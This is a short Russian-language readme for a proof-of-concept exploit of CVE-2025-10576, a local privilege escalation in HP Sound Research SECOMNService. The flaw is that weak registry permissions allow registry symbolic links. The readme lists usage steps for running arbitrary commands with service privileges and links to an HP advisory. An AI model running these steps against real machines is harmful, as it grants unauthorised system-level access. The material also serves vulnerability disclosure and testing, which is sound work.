CVE-2025-10576

HP Sound Research SECOMNService – повышение привилегий. Слабые разрешения реестра позволяют любому пользователю создать символическую ссылку реестра и принудительно заставить службу SECOMNService создать произвольный ключ реестра.

Как использовать:

1. soundresearch_poc.exe prepare
2. Перезапустите SECOMNService или компьютер
3. soundresearch_poc.exe exploit "whoami /all > C:\Windows\soundresearch.txt"
4. soundresearch_poc.exe exploit "*another command*"
5. soundresearch_poc.exe cleanup

Ссылка: https://support.hp.com/us-en/document/ish_13092608-13092602-16/hpsbhf04051